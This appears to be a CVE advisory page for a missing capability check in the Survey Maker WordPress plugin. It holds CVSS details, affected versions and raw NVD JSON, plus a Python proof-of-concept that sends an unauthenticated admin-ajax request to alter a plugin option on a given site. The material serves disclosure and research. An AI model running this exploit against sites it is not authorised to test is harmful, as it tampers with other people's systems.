Security Vulnerability Report
中文
CVE-2025-12892 CVSS 5.3 MEDIUM

CVE-2025-12892

Published: 2025-11-13 04:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Survey Maker plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the deactivate_plugin_option() function in all versions up to, and including, 5.1.9.4. This makes it possible for unauthenticated attackers to update the ays_survey_maker_upgrade_plugin option.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Survey Maker WordPress Plugin < 5.1.9.5
Survey Maker WordPress Plugin <= 5.1.9.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12892 PoC - Survey Maker Plugin Unauthorized Option Modification # Target: WordPress site with Survey Maker plugin <= 5.1.9.4 # This PoC demonstrates how an unauthenticated attacker can modify plugin options def exploit_cve_2025_12892(target_url): """ Exploit function to modify ays_survey_maker_upgrade_plugin option """ # Construct the AJAX endpoint ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # Payload to trigger deactivate_plugin_option function # The function is hooked to 'wp_ajax_ays_deactivate_survey_maker_plugin' action data = { 'action': 'ays_deactivate_survey_maker_plugin' } print(f'[*] Target: {target_url}') print(f'[*] Exploiting CVE-2025-12892...') print(f'[*] Sending request to: {ajax_url}') try: # Send unauthenticated POST request response = requests.post(ajax_url, data=data, timeout=10) print(f'[*] Response Status Code: {response.status_code}') print(f'[*] Response Body: {response.text[:200]}') if response.status_code == 200: print('[+] Request sent successfully') print('[+] The ays_survey_maker_upgrade_plugin option may have been modified') return True else: print('[-] Request failed or plugin may already be patched') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://example.com') sys.exit(1) target = sys.argv[1] exploit_cve_2025_12892(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12892", "sourceIdentifier": "[email protected]", "published": "2025-11-13T04:15:46.537", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Survey Maker plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the deactivate_plugin_option() function in all versions up to, and including, 5.1.9.4. This makes it possible for unauthenticated attackers to update the ays_survey_maker_upgrade_plugin option."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3394078/survey-maker/tags/5.1.9.5/admin/class-survey-maker-admin.php?old=3389474&old_path=survey-maker%2Ftags%2F5.1.9.4%2Fadmin%2Fclass-survey-maker-admin.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6abc7605-2daa-44a9-8f2f-cbaacbea9348?source=cve", "source": "[email protected]"}]}}